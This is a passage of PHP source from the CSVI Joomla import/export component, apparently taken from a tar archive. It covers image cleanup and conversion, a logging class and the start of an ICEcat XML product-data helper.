     *  (
     *      [isremote] => 1
     *      [exists] => 1
     *      [isimage] => 1
     *      [name] => R05-01 -- R05-01 (700).jpg
     *      [filename] => R05-01 -- R05-01 (700)
     *      [extension] => jpg
     *      [folder] => http://csvi3
     *      [output_name] => R05-01 -- R05-01 (700).jpg
     *      [output_filename] => R05-01 -- R05-01 (700)
     *      [output_extension] => jpg
     *      [output_folder] => http://csvi3
     *      [mime_type] => image/jpeg
     *  )
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo		handle image paths included in the image name
	 * @todo		not delete the old image, it might be referenced by another product
	 * @see 		http://www.php.net/pathinfo
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _cleanupImage() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$template = $jinput->get('template', null, null);

		if ($this->_imagedata['isremote'] && $template->get('save_images_on_server', 'image')) {
			// Collect remote file information
			$local_image = CSVIPATH_TMP.'/'.$this->_cleanFilename(basename($this->_imagedata['name']));

			// Store the remote image
			if ($this->_storeRemoteImage($this->_imagedata['name'], $local_image)) {
				$csvilog->addDebug('Remote file stored: '.$this->_imagedata['name'].' --> '.$local_image);
				// Update full image information
				$this->_imagedata['name'] = $local_image;

				// Get the mime type
				$mime_type = $this->findMimeType($local_image);
			}
			else {
				$csvilog->AddStats('nofiles', JText::sprintf('COM_CSVI_REMOTE_FILE_NOT_FOUND', $this->_imagedata['name']));
				$csvilog->addDebug(JText::sprintf('COM_CSVI_REMOTE_FILE_NOT_FOUND', $this->_imagedata['name']));
			}
		}
		else if ($this->_imagedata['isremote']) {
			$mime_type = $this->findMimeType($this->_imagedata['name'], true);
			$this->_imagedata['output_path'] = dirname($this->_imagedata['name']).'/';
		}
		else if (!$this->_imagedata['isremote']) {
			$mime_type = $this->findMimeType($this->_imagedata['name']);
		}

		// Set the mime type
		$csvilog->addDebug('Mime type found: '.$mime_type);
		$this->_imagedata['mime_type'] = $mime_type;

		// Validate extension against mime type
		$type = '';
		$ext = '';
		list($type, $ext) = explode('/', $mime_type);
		if ($ext == 'jpeg') $ext = 'jpg';
		// Get the extension of the target image name
		$output_ext = JFile::getExt($this->_imagedata['output_name']);
		if ($ext != strtolower($output_ext)) {
			// Fix up the new names
			$basename = basename($this->_imagedata['name'], $this->_imagedata['extension']);
			$to = dirname($this->_imagedata['name']).'/'.$basename.$ext;

			// Set the new output name
			//$this->_imagedata['output_name'] = JFile::stripExt($this->_imagedata['name']).$ext;

			$csvilog->addDebug('Renaming full image because bad extension: '.$this->_imagedata['name'].' --> '.$to);

			// Rename the file
			if (JFile::exists($this->_imagedata['name'])) {
				if (!JFile::move($this->_imagedata['name'], $to)) return false;
				else {
					$this->_imagedata['name'] = $to;
				}
			}
		}

		// Check for a valid extenion
		if (empty($this->_imagedata['extension']) && $type == 'image') {
			$this->_imagedata['extension'] = $ext;
		}

		// Set a new extension if the image needs to be converted
		$convert_type = $template->get('convert_type', 'image');
		if ($convert_type != 'none' && $convert_type != $this->_imagedata['extension']) {
			$this->_imagedata['output_name'] = JFile::stripExt(basename($this->_imagedata['name'])).'.'.$convert_type;
			$this->_imagedata['convert'] = true;
		}
		else $this->_imagedata['convert'] = false;

		// Set the file case
		$this->_imagedata['output_name'] = $this->_setCase($this->_imagedata['output_name']);

		// Add some debug info
		$csvilog->addDebug('Full name original: '.$this->_imagedata['name']);
		$csvilog->addDebug('Full name target: '.$this->_imagedata['output_path'].$this->_imagedata['output_name']);
	}


	/**
	 * Store a remote image on the local server
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param 		$remote_image 	string	the url of the remote image
	 * @param 		$local_image	string	the full path and file name of the image to store
	 * @return 		bool true if remote file was locally written | false if remote file was not locally written
	 * @since
	 */
	private function _storeRemoteImage($remote_image, $local_image) {
		return JFile::write($local_image, JFile::read($remote_image));
	}

	/**
	 * Convert the full image to another type
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _convertImage() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$template = $jinput->get('template', null, null);

		// Let's see if the extensions are the same
		if ($this->_imagedata['convert'] && !$this->_imagedata['isremote']) {
			// Collect the image details
			$file_details = array();
			$file_details['file'] = $this->_imagedata['name'];
			$file_details['file_extension'] = JFile::getExt($this->_imagedata['name']);
			$file_details['file_out'] = $this->_imagedata['base'].$this->_imagedata['output_path'].'/'.$this->_imagedata['output_name'];
			$file_details['maxsize'] = 0;
			$file_details['bgred'] = 255;
			$file_details['bggreen'] = 255;
			$file_details['bgblue'] = 255;
			$new_sizes = getimagesize($this->_imagedata['name']);
			$file_details['file_out_width'] = $new_sizes[0];
			$file_details['file_out_height'] = $new_sizes[1];
			$file_details['file_out_extension'] = JFile::getExt($this->_imagedata['output_name']);
			$file_details['mime_type'] = $this->_imagedata['mime_type'];

			// We need to resize the image and Save the new one (all done in the constructor)
			$csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CONVERT_IMAGE', $file_details['file'], $file_details['file_out']));
			$new_img = $this->convertImage($file_details);
			if ($new_img) {
				$csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_CONVERTED', $file_details['file']));
				// See if we need to keep the old image
				if (!$template->get('keep_original', 'image') && JFile::exists($file_details['file'])) JFile::delete($file_details['file']);
				// We have a new name, so refresh the info
				$this->_imagedata['name'] = dirname($this->_imagedata['name']).'/'.$this->_imagedata['output_name'];
				$this->_imagedata['mime_type'] = $this->findMimeType($this->_imagedata['base'].$this->_imagedata['output_path'].'/'.$this->_imagedata['output_name']);
				return true;
			}
			else {
				$csvilog->addDebug(JText::_('COM_CSVI_IMAGE_NOT_CONVERTED'));
				return false;
			}
		}
	}



	/**
	 * Rename image
	 *
	 * Rename an image, any existing file will be deleted
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _renameImage() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$template = $jinput->get('template', null, null);

		if (!$this->_imagedata['isremote']
			&& $template->get('auto_generate_image_name', 'image')
			&& (basename($this->_imagedata['name']) != $this->_imagedata['output_name'])
			&& $template->get('convert_type', 'image') == 'none') {
			$from = $this->_imagedata['name'];
			if (JFile::exists($from)) {
				$to = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name'];
				$csvilog->addDebug(JText::sprintf('COM_CSVI_RENAME_FULL_FILE', $from, $to));
				// Delete existing target image
				if (JFile::exists($to)) JFile::delete($to);

				// Check if the user wants to keep the original
				if ($template->get('keep_original', 'image')) {
					// Rename the image
					JFile::copy($from, $to);
				}
				else {
					// Rename the image
					JFile::move($from, $to);
				}
			}
			else {
				$csvilog->addDebug(JText::sprintf('COM_CSVI_RENAME_FULL_FILE_NOT_FOUND', $from));
			}
		}
	}

	/**
	 * Check if we need to convert the final image based on mime type
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		2.3.7
	 */
	private function _imageTypeCheck() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$template = $jinput->get('template', null, null);

		// Get the output mime-type
		$output_ext = JFile::getExt($this->_imagedata['output_name']);

		// Check if the mime-type is different and if so, convert image
		if (!$this->_imagedata['isremote'] && JFile::exists($this->_imagedata['name']) && !stristr($this->_imagedata['mime_type'], $output_ext)) {
			$file_details = array();
			$file_details['file'] = $this->_imagedata['name'];
			$file_details['file_extension'] = JFile::getExt($this->_imagedata['name']);
			$file_details['maxsize'] = 0;
			$file_details['bgred'] = 255;
			$file_details['bggreen'] = 255;
			$file_details['bgblue'] = 255;
			$file_details['file_out'] = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name'];
			$new_sizes = getimagesize($this->_imagedata['name']);
			$file_details['file_out_width'] = $new_sizes[0];
			$file_details['file_out_height'] = $new_sizes[1];
			$file_details['file_out_extension'] = $output_ext;
			$file_details['mime_type'] = $this->_imagedata['mime_type'];

			/* We need to resize the image and Save the new one (all done in the constructor) */
			$csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CONVERT_TYPE_CHECK', $file_details['file'], $file_details['file_out']));
			$new_img = $this->convertImage($file_details);

			if ($new_img) $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_CONVERTED', $file_details['file']));
			else $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_NOT_CONVERTED', $file_details['file']));
		}
		// We have a remote image, update the mime type since we can't convert images on remote servers
		else if ($this->_imagedata['isremote']) {
			$mime_type = $this->findMimeType($this->_imagedata['output_path'].$this->_imagedata['output_name'], true);
			if ($mime_type) $this->_imagedata['mime_type'] = $mime_type;
			else $csvilog->addDebug(JText::_('COM_CSVI_CANNOT_FIND_REMOTE_MIMETYPE'));
		}
	}

	/**
	 * Clean filename
	 *
	 * Cleans up a filename and replaces non-supported characters with an underscore
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param 		$value	string	the value to clean
	 * @return 		string	the cleaned up value
	 * @since 		3.0
	 */
	private function _cleanFilename($value) {
		return (string) preg_replace('/[^A-Z0-9_\.-\s]/i', '_', $value);
	}

	/**
	 * Change the case of any given string
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param 		string	$name	the string to be case changed
	 * @return 		string	the case changed string
	 * @since 		3.0
	 */
	private function _setCase($name) {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		// Set the case if needed
		switch ($template->get('change_case', 'image')) {
			case 'lcase':
				return strtolower($name);
				break;
			case 'ucase':
				return strtoupper($name);
				break;
			case 'ucfirst':
				return ucfirst($name);
				break;
			case 'ucwords':
				return ucwords($name);
				break;
			default:
				return $name;
				break;
		}
	}

	/**
	 * Resize a large image
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _resizeFullImage() {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$csvilog = $jinput->get('csvilog', null, null);

		// Check if we need to resize the full image
		if ($template->get('full_resize', 'image')) {
			// Get the current size
			$checkfile = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name'];
			if (JFile::exists($checkfile)) {
				$cur_size = getimagesize($checkfile);
				if ($cur_size[0] > $template->get('full_width', 'image') || $cur_size[1] > $template->get('full_height', 'image')) {
					// Resize the image
					$file_details = array();
					$file_details['file'] = $checkfile;
					$file_details['file_extension'] = JFile::getExt($checkfile);
					$file_details['rename'] = 0;
					$file_details['file_out'] = $checkfile;
					$file_details['maxsize'] = 0;
					$file_details['bgred'] = 255;
					$file_details['bggreen'] = 255;
					$file_details['bgblue'] = 255;
					$file_details['file_out_width'] = $template->get('full_width', 'image');
					$file_details['file_out_height'] = $template->get('full_height', 'image');
					$file_details['file_out_extension'] = JFile::getExt($checkfile);
					$file_details['mime_type'] = $this->_imagedata['mime_type'];

					// We need to resize the image and Save the new one (all done in the constructor)
					$csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_RESIZE_IMAGE', $file_details['file'], $cur_size[1].'x'.$cur_size[0], $template->get('full_height', 'image').'x'.$template->get('full_width', 'image')));
					$new_img = $this->convertImage($file_details);

					if ($new_img) $csvilog->addDebug(JText::_('COM_CSVI_FULL_IMAGE_RESIZED'));
				}
			}
		}
	}
}
?>
����������������������������������������������������������������������������������������������������������������������������������������������������log.php���������������������������������������������������������������������������������������������0000666�����������������00000026615�15137667660�0006075 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * The logger class
 *
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: log.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die;

/**
 * Helper class for logging
 */
class CsviLog {

	// Private variables
	/** @var int contains the current line number */
	private $_linenumber = 0;
	/** @var int contains a unique id for the import */
	private $_id = 0;
	/** @var string The name of the file being imported/exported */
	private $_filename = '';
	/** @var bool The status if debug info is to be collected */
	private $_debug = false;
	/** @var int database ID for log results */
	private $_logid = false;
	/** @var int start line for logging */
	private $_log_line_start = 1;
	/** @var int end line for logging */
	private $_log_line_end = 5;

	// Public variables
	/** @var string contains the log messages */
	public $logmessage = '';
	/** @var string contains the debug messages */
	public $debug_message = '';
	/** @var array contains the import statistics */
	public $stats = array();

	/**
	 * Constructor
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.4
	 */
	public function __construct() {
		$jinput = JFactory::getApplication()->input;
		$settings = $jinput->get('settings', null, null);
		$this->_log_line_start = $settings->get('debuglog.log_line_start', 1);
		$this->_log_line_end = $settings->get('debuglog.log_line_end', 5);
	}

	/**
	 * Clean up old log entries
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		void
	 * @since 		3.0
	 */
	public function cleanUpLogs() {
		// Load the settings
		$jinput = JFactory::getApplication()->input;
		$settings = $jinput->get('settings', null, null);
		$max = $settings->get('log.log_max', 25);
		$cid = array();

		// Check if there are any logs to remove
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('run_id');
		$query->from('#__csvi_logs');
		$query->order('id');
		$db->setQuery($query);
		$dblogs = $db->loadResultArray();
		$this->addDebug(JText::sprintf('COM_CSVI_CLEAN_OLD_LOGS', count($dblogs), $max), false, 'DEBUG', true);
		if (count($dblogs) > $max) {
			$jinput->set('cid', array_slice($dblogs, 0, (count($dblogs)-$max)));

			// Load the log model
			require_once(JPATH_COMPONENT_ADMINISTRATOR.'/models/log.php');
			$log_model = new CsviModelLog();
			$log_model->getDelete();
		}
	}

    /**
     * Invoke the Joomla logger
     *
     * @copyright
     * @author 		RolandD
     * @todo
     * @see
     * @access 		public
     * @param 		string	$comment	The comment to log
     * @param		int		$linenr		The linenumber concerned
     * @param		string	$action		The type of action
     * @return 		void
     * @since 		3.0
     */
    public function simpleLog($comment, $linenr, $action) {
        // Include the library dependancies
        jimport('joomla.log.log');

        // Set the logfile
        $this->getLogName();

        // Create the instance of the log file in case we use it later
        $options = array('text_entry_format' => "{DATE}\t{TIME}\t{LINE_NR}\t{ACTION}\t{COMMENT}", 'text_file' => $this->logfile, 'text_file_path' => $this->logpath);
        JLog::addLogger($options);

		$entry = new JLogEntry($comment);
		$entry->comment = $comment;
		$entry->line_nr = $linenr;
		$entry->action = $action;
        JLog::add($entry);
    }

    /**
     * Return the name of the logfile
     *
     * @copyright
     * @author 		RolandD
     * @todo
     * @see
     * @access 		public
     * @param
     * @return 		string	The name of the logfile
     * @since 		3.0
     */
    public function getLogName() {
        $this->logfile = 'com_csvi.log.'.$this->getId().'.php';
        $this->logpath = CSVIPATH_DEBUG;

    	return $this->logpath.'/'.$this->logfile;
    }

	/**
	 * Set the current line number
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$linenumber	The current linenumber
	 * @return 		bool	true
	 * @since 		3.0
	 */
	public function setLinenumber($linenumber) {
		$this->_linenumber = $linenumber;
		return true;
	}

	/**
	 * Set the import/export ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$id	The ID to set
	 * @return 		int	the ID
	 * @since 		3.0
	 */
	public function setId($id=false) {
		if ($id) $this->_id = $id;
		else $this->_id = time();
		return $this->_id;
	}

	/**
	 * Get the import/export ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	the ID
	 * @since 		3.0
	 */
	public function getId() {
		return $this->_id;
	}

	/**
	 * Set the filename used for import/export
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		string	$filename	the full path and filename of the import/export file
	 * @return 		void
	 * @since
	 */
	public function setFilename($filename) {
		$this->_filename = $filename;
	}

	/**
	 * Get the import filename
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		string	the full path and filename of the logfile
	 * @since
	 */
	public function getFilename() {
		return $this->_filename;
	}

	/**
	 * Set the log ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$id	The log ID to set
	 * @return 		void
	 * @since 		3.0
	 */
	public function setLogid($id) {
		$this->_logid = $id;
	}

	/**
	 * Get the log ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	The current log ID
	 * @since 		3.0
	 */
	public function getLogid() {
		return $this->_logid;
	}

	/**
	 * Enable the debugger
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		bool	$val	Set the logging on or off
	 * @return 		void
	 * @since 		3.0
	 */
	public function setDebug($val) {
		$this->_debug = $val;
	}

	/**
	 * Adds a message to the log file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		string 	$message 	message to add to the debug log
	 * @param 		string 	$sql 		if true adds the sql statement
	 * @param 		string 	$action 	the kind of action to qualify the message for
	 * @param 		boolean	$override	sets if the line check should be overridden
	 * @return
	 * @since 		3.0
	 */
	public function addDebug($message, $sql=false, $action='DEBUG', $override=false) {
		// Check if we should add the log line
		if ($this->_debug) {
			if ($override || $this->_linenumber == 0 || ($this->_linenumber >= $this->_log_line_start && $this->_linenumber <= $this->_log_line_end)) {
				$this->simpleLog(JText::_($message), $this->_linenumber, '['.$action.']');
				if ($sql) {
					$db = JFactory::getDbo();
					$qmsg = '';
					if ($db->getErrorNum() > 0) {
						$qmsg .= $db->getErrorMsg();
						$qaction = 'SQL ERROR';
					}
					else {
						$qmsg .= $db->getQuery();
						$qaction = 'QUERY';
					}
					$qmsg = str_replace(array("\r\n", "\n", "\r", "\t"), ' ', $qmsg);
					$this->simpleLog($qmsg, $this->_linenumber, '['.$qaction.']');
				}
			}
		}
	}

	/**
	* Adds a message to the statistics stack
	*
	* <p>
	* Types:
	* --> Products
	* updated
	* deleted
	* added
	* skipped
	* incorrect
	* --> DB tables
	* empty
	* --> Fields
	* nosupport
	* --> No files found multiple images
	* nofiles
	* --> General information
	* information
	* </p>
	*
	* @param string $type type of message
	* @param string $message message to add to the stack
	 */
	function AddStats($type, $message) {
		// Load the settings
		$jinput = JFactory::getApplication()->input;
		$settings = $jinput->get('settings', null, null);
		$message = JText::_($message);

		switch ($type) {
			case 'updated':
			case 'deleted':
			case 'added':
			case 'empty':
				if ($settings->get('log.log_type', 'all') == 'all') $this->_addMessage($type, $message);
				break;
			case 'incorrect':
			case 'nosupport':
				if ($settings->get('log.log_type', 'all') == 'all'
					|| $settings->get('log.log_type') == 'failure'
					|| $settings->get('log.log_type') == 'failure_notice') $this->_addMessage($type, $message);
				break;
			case 'information':
			case 'nofiles':
			case 'skipped':
				if ($settings->get('log.log_type', 'all') == 'all'
					|| $settings->get('log.log_type') == 'notice'
					|| $settings->get('log.log_type') == 'failure_notice') $this->_addMessage($type, $message);
				break;
			case 'nosupport':
				$this->stats['nosupport'] = true;
				break;
		}
	}

	/**
	 * Add a message to the statistics stack
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param 		string	$type		The type to add
	 * @param		string	$message	The message to add
	 * @return 		void
	 * @since 		3.0
	 */
	private function _addMessage($type, $message) {
		// Set the result
		$success = array('updated', 'deleted', 'added', 'empty');
		$failure = array('incorrect', 'nosupport');
		$notice = array('information', 'nofiles','skipped');
		if (in_array($type, $success)) $result = JText::_('COM_CSVI_SUCCESS');
		else if (in_array($type, $failure)) $result = JText::_('COM_CSVI_FAILURE');
		else if (in_array($type, $notice)) $result = JText::_('COM_CSVI_NOTICE');
		else $result = '';

		if (!isset($this->stats[$this->_linenumber]['status'][$type])) {
			$this->stats[$this->_linenumber]['status'][$type]['message'] = $message."<br />\n";
		}
		else {
			$this->stats[$this->_linenumber]['status'][$type]['message'] .= $message."<br />\n";
		}
		$this->stats[$this->_linenumber]['status'][$type]['result'] = $result;
	}

	/**
	* Retrieves the log message
	* @return string returns the log message
	 */
	function GetLogMessage() {
		return $this->logmessage;
	}

	/**
	* Retrieves the debug message
	* @return string returns the debug message
	 */
	function GetDebugMessage() {
		return $this->debug_message;
	}

	/**
	* Retrieves the line number
	* @return string returns the debug message
	 */
	function GetLineNumber() {
		return $this->_linenumber;
	}

	/**
	* Retrieves the statistics array
	* @return array returns the statistics array
	*/
	public function getStats() {
		return $this->stats;
	}

	/**
	* Retrieves the statistics array
	* @return array returns the statistics array
	*/
	public function cleanStats() {
		$runstats['action'] = $this->stats['action'];
		$runstats['action_type'] = $this->stats['action_type'];
		$runstats['action_template'] = $this->stats['action_template'];
		$this->stats = array();
		$this->stats = $runstats;
	}

	/**
	* Set the type of action the log is for
	 */
	public function SetAction($action) {
		$this->stats['action'] = strtolower($action);
	}

	/**
	* Set the type of action the log is for
	 */
	public function SetActionType($action, $template_name='') {
		$this->stats['action_type'] = strtolower($action);
		$this->stats['action_template'] = $template_name;
	}
}
?>
�������������������������������������������������������������������������������������������������������������������icecat.php������������������������������������������������������������������������������������������0000666�����������������00000033654�15137667660�0006545 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * ICEcat helper
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: icecat.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Helper class to process ICEcat requests
* @package CSVI
 */
class IcecatHelper {

	/** @var object holds the XML parser */
	private $_xml_parser = null;

	/** @var string the XML data read from ICEcat */
	private $_data = false;

	/** @var array holds the data to process */
	private $_csvi_data = array();

	/** @var array holds the current open tags */
	private $_open_tags = array();

	/**
	 * Collect data to import
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo 		Properly handle the die call
	 * @see
	 * @access 		public
	 * @param		string	$mpn		The MPN code to read
	 * @param		string	$mf_name	The manufacturer name
	 * @return 		array	ICEcat data
	 * @since 		3.0
	 */
	public function getData($mpn, $mf_name) {
		$jinput = JFactory::getApplication()->input;
		$db = JFactory::getDbo();
		$csvilog = $jinput->get('csvilog', null, null);

		// Find the ICEcat ID
		$q = "SELECT product_id
			FROM ".$db->quoteName('#__csvi_icecat_index')." AS  i
			LEFT JOIN ".$db->quoteName('#__csvi_icecat_suppliers')." AS s
			ON s.supplier_id = i.supplier_id
			WHERE i.".$db->quoteName('prod_id')." = ".$db->Quote($mpn)."
			AND s.".$db->quoteName('supplier_name')." = ".$db->Quote($mf_name);
		$db->setQuery($q);
		$csvilog->addDebug(JText::_('COM_CSVI_FIND_ICECAT_ID'), true);
		$icecat_id = $db->loadResult();

		// See if we have a match, otherwise try to search more liberal
		if (!$icecat_id) {
			$q = "SELECT product_id
				FROM ".$db->quoteName('#__csvi_icecat_index')." AS  i
				LEFT JOIN ".$db->quoteName('#__csvi_icecat_suppliers')." AS s
				ON s.supplier_id = i.supplier_id
				WHERE i.".$db->quoteName('prod_id')." LIKE ".$db->Quote($mpn.'%')."
				AND s.".$db->quoteName('supplier_name')." = ".$db->Quote($mf_name);
			$db->setQuery($q);
			$csvilog->addDebug(JText::_('COM_CSVI_FIND_ICECAT_ID'), true);
			$icecat_id = $db->loadResult();
		}

		// See if we have an ICEcat ID
		if ($icecat_id) {
			// Setup the XML parser
			if ($this->_setupXmlParser()) {

				// Call ICEcat to get the data
				$this->_callIcecat($icecat_id);

				// See if we have any valid data
				if ($this->_data) {
					// Clean some data
					$this->_csvi_data = array();

					// Parse the XML data
					if (!xml_parse($this->_xml_parser, $this->_data, true)) {
						die(sprintf("XML error: %s at line %d\n",
									xml_error_string(xml_get_error_code($this->_xml_parser)),
									xml_get_current_line_number($this->_xml_parser)));
					}

					xml_parser_free($this->_xml_parser);
					return $this->_csvi_data;
				}
			}
			else return false;
		}
		else return false;
	}

	/**
	 * Process start elements
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo 		optimize building for specific imports
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _startElement($parser, $tagname, $attribs) {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$tagname = strtolower($tagname);
		if (count($this->_open_tags) >= 1) {
			$parent_tag = $this->_open_tags[(count($this->_open_tags) - 1)];
		}
		else $parent_tag = '';
		switch ($tagname) {
			case 'product':
				switch ($parent_tag) {
					case 'productrelated':
						// Related products
						if (!array_key_exists('related_products', $this->_csvi_data)) $this->_csvi_data['related_products'] = '';
						$this->_csvi_data['related_products'] .= $attribs['PROD_ID'].'|';
						break;
					default:
						// See if we have an error
						if (array_key_exists('CODE', $attribs) && $attribs['CODE'] == '-1') {
							$csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_ERROR_XML', $attribs['ERRORMESSAGE']));
						}
						else {
							// Process the attributes
							// SKU
							$this->_csvi_data['product_sku'] = $attribs['PROD_ID'];
							// Name
							$this->_csvi_data['product_name'] = $attribs['NAME'];
							// Images
							$this->_csvi_data['file_url'] = $attribs['HIGHPIC'];
							$this->_csvi_data['file_url_thumb'] = $attribs['THUMBPIC'];
							// Release date comes int he form YYYY-MM-DD
							if (strpos($attribs['RELEASEDATE'], '-')) {
								list($year, $month, $day) = explode('-', $attribs['RELEASEDATE']);
								$this->_csvi_data['product_available_date'] = $day.'/'.$month.'/'.$year;
							}
						}
						break;
				}
				break;
			case 'productfeature':
				switch ($parent_tag) {
					default:
						$this->_csvi_data['pf'] = $attribs['PRESENTATION_VALUE'];
						break;
				}
				break;
			case 'name':
				switch ($parent_tag) {
					case 'category':
						// Category
						$this->_csvi_data['category_path'] = $attribs['VALUE'];
						break;
					case 'feature':
						$find = array(' ', '/');
						$feature = strtolower(str_replace($find, '_', $attribs['VALUE']));
						$csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_FOUND_FEATURE', $feature));
						$this->_csvi_data[$feature] = $this->_csvi_data['pf'];
						$this->_csvi_data['pf'] = null;
						break;
				}
				break;
			case 'productpicture':
				if (!empty($attribs)) {
					// Process the attribs
					// <ProductPicture Pic="http://images.icecat.biz/img/gallery/525017_2053.jpg" PicHeight="480" PicWidth="600" ProductPicture_ID="702732" Size="15185" ThumbPic="http://images.icecat.biz/img/gallery_thumbs/525017_643.jpg" ThumbSize="2228"/>
					$this->_csvi_data['product_files_file_name'][] = $attribs['THUMBPIC'];
					$this->_csvi_data['product_files_file_url'][] = $attribs['PIC'];
					$this->_csvi_data['product_files_file_title'][] = basename($attribs['THUMBPIC']);
					$this->_csvi_data['product_files_file_published'] = 'Y';
				}
				break;
			case 'productdescription':
				if (isset($attribs['LONGDESC'])) $this->_csvi_data['product_desc'] = str_ireplace('\n', '<br />', $attribs['LONGDESC']);
				else $this->_csvi_data['product_desc'] = '';
				if (isset($attribs['SHORTDESC'])) $this->_csvi_data['product_s_desc'] = $attribs['SHORTDESC'];
				else $this->_csvi_data['product_s_desc'] = '';
				break;
			case 'shortsummarydescription':
				// $this->_csvi_data['product_s_desc'] = '';
				break;
			case 'longsummarydescription':
				// $this->_csvi_data['product_desc'] = '';
				break;
			case 'supplier':
				$this->_csvi_data['manufacturer_name'] = $attribs['NAME'];
				break;
			case 'productdescription':
				// <ProductDescription ID="650155" LongDesc="Add a parallel port to your desktop computer through a PCI expansion slot\n\n    * Up to 3 times faster than legacy ISA or on-board parallel ports providing fast and reliable parallel communication\n    * Supports SPP, EPP, ECP and BPP communication modes for maximum compatibility with your parallel peripherals\n    * Guaranteed compatibility with any PC running Windows®, Linux® or DOS® for simple integration into your application\n\nThe PCI1P value priced EPP/ECP parallel card adds one IEEE 1284 port to your PC, with data transfer speeds of up to 2.7 Mbps – up to 3 times faster than on-board parallel ports.\n\nInstallation is a breeze with plug and play support and drivers for Windows® 7, Vista, XP, ME, 2000, 98, 95, NT4, DOS® and Linux®. IRQ sharing and hot swapping capabilities guarantee convenient, hassle-free connections to any parallel peripheral.\n\nBacked by a StarTech.com lifetime warranty and free lifetime technical support." ManualPDFSize="0" ManualPDFURL="http://pdfs.icecat.biz/pdf/650155-20-manual.pdf" PDFSize="0" PDFURL="http://pdfs.icecat.biz/pdf/650155-4896.pdf" ShortDesc="Value 1 Port PCI Parallel Adapter Card" URL="http://eu.startech.com/product/PCI1P-Value-1-Port-EPPECP-Parallel-PCI-Card" WarrantyInfo="lifetime" langid="1"/>
				if (!empty($attribs['MANUALPDFURL'])) {
					$this->_csvi_data['product_files_file_name'][] = $attribs['MANUALPDFURL'];
					$this->_csvi_data['product_files_file_url'][] = $attribs['MANUALPDFURL'];
